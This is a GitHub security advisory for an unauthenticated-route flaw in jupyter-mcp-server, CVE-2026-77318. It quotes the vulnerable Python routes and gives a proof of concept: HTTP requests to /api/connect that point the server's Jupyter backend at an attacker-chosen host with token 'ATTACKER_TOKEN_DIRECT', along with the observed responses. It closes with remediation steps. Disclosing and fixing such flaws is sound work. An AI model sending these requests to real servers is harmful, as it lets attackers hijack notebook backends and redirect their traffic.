GHSA-24PW-RF5P-MGP7

Vulnerability from github – Published: 2026-11-20 00:12 – Updated: 2026-11-20 00:12
VLAI
Summary
Jupyter MCP Server: Unauthenticated management routes can hijack the Jupyter backend in standalone HTTP mode
Details

Standalone streamable-http mode in datalayer/jupyter-mcp-server requires MCP_TOKEN for /mcp, but the custom management routes mounted on the same application do not enforce that token. An unauthenticated network caller can invoke PUT /api/connect, choose the Jupyter backend URL and token fields, reset the server context, and make the MCP server start a kernel client against attacker-controlled infrastructure. The same missing authentication affects the state-changing DELETE /api/stop route.

The intended authentication boundary is documented in the security guide and enforced during startup:

docs/docs/reference/security/index.mdx:15
All MCP endpoints require Bearer token authentication.

docs/docs/reference/security/index.mdx:25
Starting with version 1.0.0, MCP client authentication is required for the streamable-http transport.

The CLI enforces that boundary for the MCP endpoint:

# jupyter_mcp_server/CLI.py:203-209
if transport == "streamable-http" and not mcp_token and not insecure_mcp_noauth:
    raise click.UsageError(
        "streamable-http transport requires MCP client authentication. "
        "Set --mcp-token / MCP_TOKEN, or pass --insecure-mcp-noauth to "
        "explicitly allow unauthenticated access."
    )
# jupyter_mcp_server/CLI.py:285-290
if transport == "streamable-http":
    if mcp_token:
        from jupyter_mcp_server.server import RuntimeTokenVerifier
        mcp._token_verifier = RuntimeTokenVerifier(mcp_token)
        logger.info("MCP endpoint token authentication enabled (using MCP_TOKEN)")

The vulnerable route is jupyter_mcp_server/server.py:143-187:

@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
    data = await request.json()

    document_runtime = DocumentRuntime(**data)

    set_config(
        provider=document_runtime.provider,
        runtime_url=document_runtime.runtime_url,
        runtime_id=document_runtime.runtime_id,
        runtime_token=document_runtime.runtime_token,
        document_url=document_runtime.document_url,
        document_id=document_runtime.document_id,
        document_token=document_runtime.document_token,
        allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
    )

    ServerContext.reset()

    try:
        __start_kernel()
        return JSONResponse({"success": True})

/api/stop is also unauthenticated and state-changing:

# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
    try:
        current_notebook = notebook_manager.get_current_notebook() or "default"
        if current_notebook in notebook_manager:
            notebook_manager.remove_notebook(current_notebook)
        return JSONResponse({"success": True})

Proof of concept

Run the affected version:

git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
  --transport streamable-http \
  --start-new-runtime false \
  --jupyterlab false \
  --mcp-token SCAN_MCP_TOKEN \
  --port 8083

Send a request to the protected MCP endpoint without credentials:

POST /mcp HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}

Observed response:

HTTP/1.1 401 Unauthorized
www-authenticate: Bearer error="invalid_token", error_description="Authentication required"

Now send the unauthenticated management request:

PUT /api/connect HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json

{
  "provider": "jupyter",
  "runtime_url": "http://127.0.0.1:9183",
  "runtime_id": "",
  "runtime_token": "ATTACKER_TOKEN_DIRECT",
  "document_url": "http://127.0.0.1:9183",
  "document_id": "demo.ipynb",
  "document_token": "ATTACKER_TOKEN_DIRECT"
}

Observed response:

HTTP/1.1 200 OK
content-type: application/json

{"success":true}

The server log shows that /api/connect accepted the attacker-chosen backend:

Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully

When an attacker-controlled backend is listening on 127.0.0.1:9183, it receives Jupyter API traffic from the MCP server:

POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_DIRECT

GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_DIRECT

Impact

An attacker does not need the MCP_TOKEN to mutate the standalone MCP server's active backend connection. The attacker can stop the current notebook kernel through /api/stop, replace the configured runtime_url and document_url through /api/connect, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.

For a same-network attacker, this is a direct unauthenticated state change against the HTTP listener. This defeats the documented standalone HTTP security boundary because the protected /mcp endpoint rejects missing credentials while adjacent management routes perform sensitive state changes without the same control.

Why this is a vulnerability, not intended behavior

  • This is not the explicit --insecure-mcp-noauth mode. The proof runs with MCP_TOKEN configured, and /mcp correctly returns 401 Unauthorized without it.
  • This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch.
  • This is not only a broad-bind issue. The default 0.0.0.0 bind increases exposure, but the boundary failure is that state-changing custom routes bypass the token control applied to /mcp.

Remediation

Apply the same inbound authentication policy to every route mounted on the standalone HTTP app:

  1. Require the MCP_TOKEN bearer token on /api/connect, /api/stop, /api/healthz, and any future custom route that reads or changes server state.
  2. Bind standalone HTTP to 127.0.0.1 by default, and require an explicit host allowlist for non-loopback listeners.
  3. Add regression tests proving that /api/connect and /api/stop reject missing bearer tokens and invalid bearer tokens.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "jupyter-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77318"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-20T00:12:14Z",
    "nvd_published_at": "2026-11-19T17:18:59Z",
    "severity": "HIGH"
  },
  "details": "Standalone `streamable-http` mode in `datalayer/jupyter-mcp-server` requires `MCP_TOKEN` for `/mcp`, but the custom management routes mounted on the same application do not enforce that token. An unauthenticated network caller can invoke `PUT /api/connect`, choose the Jupyter backend URL and token fields, reset the server context, and make the MCP server start a kernel client against attacker-controlled infrastructure. The same missing authentication affects the state-changing `DELETE /api/stop` route.\n\nThe intended authentication boundary is documented in the security guide and enforced during startup:\n\n```text\ndocs/docs/reference/security/index.mdx:15\nAll MCP endpoints require Bearer token authentication.\n\ndocs/docs/reference/security/index.mdx:25\nStarting with version 1.0.0, MCP client authentication is required for the streamable-http transport.\n```\n\nThe CLI enforces that boundary for the MCP endpoint:\n\n```python\n# jupyter_mcp_server/CLI.py:203-209\nif transport == \"streamable-http\" and not mcp_token and not insecure_mcp_noauth:\n    raise click.UsageError(\n        \"streamable-http transport requires MCP client authentication. \"\n        \"Set --mcp-token / MCP_TOKEN, or pass --insecure-mcp-noauth to \"\n        \"explicitly allow unauthenticated access.\"\n    )\n```\n\n```python\n# jupyter_mcp_server/CLI.py:285-290\nif transport == \"streamable-http\":\n    if mcp_token:\n        from jupyter_mcp_server.server import RuntimeTokenVerifier\n        mcp._token_verifier = RuntimeTokenVerifier(mcp_token)\n        logger.info(\"MCP endpoint token authentication enabled (using MCP_TOKEN)\")\n```\n\nThe vulnerable route is `jupyter_mcp_server/server.py:143-187`:\n\n```python\n@mcp.custom_route(\"/api/connect\", [\"PUT\"])\nasync def connect(request: Request):\n    data = await request.json()\n\n    document_runtime = DocumentRuntime(**data)\n\n    set_config(\n        provider=document_runtime.provider,\n        runtime_url=document_runtime.runtime_url,\n        runtime_id=document_runtime.runtime_id,\n        runtime_token=document_runtime.runtime_token,\n        document_url=document_runtime.document_url,\n        document_id=document_runtime.document_id,\n        document_token=document_runtime.document_token,\n        allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or \"notebook_run-all-cells,notebook_get-selected-cell\"\n    )\n\n    ServerContext.reset()\n\n    try:\n        __start_kernel()\n        return JSONResponse({\"success\": True})\n```\n\n`/api/stop` is also unauthenticated and state-changing:\n\n```python\n# jupyter_mcp_server/server.py:190-199\n@mcp.custom_route(\"/api/stop\", [\"DELETE\"])\nasync def stop(request: Request):\n    try:\n        current_notebook = notebook_manager.get_current_notebook() or \"default\"\n        if current_notebook in notebook_manager:\n            notebook_manager.remove_notebook(current_notebook)\n        return JSONResponse({\"success\": True})\n```\n\n## Proof of concept\n\nRun the affected version:\n\n```bash\ngit clone https://github.com/datalayer/jupyter-mcp-server\ncd jupyter-mcp-server\ngit checkout 27b91e551d8bbca2da32c334f9f13267290ff815\npython3.12 -m venv .venv\n. .venv/bin/activate\npython -m pip install -e .\nMCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \\\n  --transport streamable-http \\\n  --start-new-runtime false \\\n  --jupyterlab false \\\n  --mcp-token SCAN_MCP_TOKEN \\\n  --port 8083\n```\n\nSend a request to the protected MCP endpoint without credentials:\n\n```http\nPOST /mcp HTTP/1.1\nHost: 127.0.0.1:8083\nContent-Type: application/json\nAccept: application/json, text/event-stream\n\n{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{}}\n```\n\nObserved response:\n\n```http\nHTTP/1.1 401 Unauthorized\nwww-authenticate: Bearer error=\"invalid_token\", error_description=\"Authentication required\"\n```\n\nNow send the unauthenticated management request:\n\n```http\nPUT /api/connect HTTP/1.1\nHost: 127.0.0.1:8083\nContent-Type: application/json\n\n{\n  \"provider\": \"jupyter\",\n  \"runtime_url\": \"http://127.0.0.1:9183\",\n  \"runtime_id\": \"\",\n  \"runtime_token\": \"ATTACKER_TOKEN_DIRECT\",\n  \"document_url\": \"http://127.0.0.1:9183\",\n  \"document_id\": \"demo.ipynb\",\n  \"document_token\": \"ATTACKER_TOKEN_DIRECT\"\n}\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\ncontent-type: application/json\n\n{\"success\":true}\n```\n\nThe server log shows that `/api/connect` accepted the attacker-chosen backend:\n\n```text\nConnect endpoint received - runtime_url: \u0027http://127.0.0.1:9183\u0027,\ndocument_url: \u0027http://127.0.0.1:9183\u0027, provider: jupyter\nStarting the kernel client...\nDefault notebook kernel started successfully\n```\n\nWhen an attacker-controlled backend is listening on `127.0.0.1:9183`, it receives Jupyter API traffic from the MCP server:\n\n```text\nPOST /api/kernels\nAuthorization: Bearer ATTACKER_TOKEN_DIRECT\n\nGET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_DIRECT\n```\n\n## Impact\n\nAn attacker does not need the `MCP_TOKEN` to mutate the standalone MCP server\u0027s active backend connection. The attacker can stop the current notebook kernel through `/api/stop`, replace the configured `runtime_url` and `document_url` through `/api/connect`, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.\n\nFor a same-network attacker, this is a direct unauthenticated state change against the HTTP listener. This defeats the documented standalone HTTP security boundary because the protected `/mcp` endpoint rejects missing credentials while adjacent management routes perform sensitive state changes without the same control.\n\n## Why this is a vulnerability, not intended behavior\n\n- This is not the explicit `--insecure-mcp-noauth` mode. The proof runs with `MCP_TOKEN` configured, and `/mcp` correctly returns `401 Unauthorized` without it.\n- This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch.\n- This is not only a broad-bind issue. The default `0.0.0.0` bind increases exposure, but the boundary failure is that state-changing custom routes bypass the token control applied to `/mcp`.\n\n## Remediation\n\nApply the same inbound authentication policy to every route mounted on the standalone HTTP app:\n\n1. Require the `MCP_TOKEN` bearer token on `/api/connect`, `/api/stop`, `/api/healthz`, and any future custom route that reads or changes server state.\n2. Bind standalone HTTP to `127.0.0.1` by default, and require an explicit host allowlist for non-loopback listeners.\n3. Add regression tests proving that `/api/connect` and `/api/stop` reject missing bearer tokens and invalid bearer tokens.",
  "id": "GHSA-24pw-rf5p-mgp7",
  "modified": "2026-11-20T00:12:14Z",
  "published": "2026-11-20T00:12:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/datalayer/jupyter-mcp-server/security/advisories/GHSA-24pw-rf5p-mgp7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77318"
    },
    {
      "type": "WEB",
      "url": "https://github.com/datalayer/jupyter-mcp-server/pull/262"
    },
    {
      "type": "WEB",
      "url": "https://github.com/datalayer/jupyter-mcp-server/commit/c2e98fca2df1bbd608451ec416aaa38a4d246fc5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/datalayer/jupyter-mcp-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/datalayer/jupyter-mcp-server/releases/tag/v1.0.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:H/VA:L/SC:H/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Jupyter MCP Server: Unauthenticated management routes can hijack the Jupyter backend in standalone HTTP mode"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…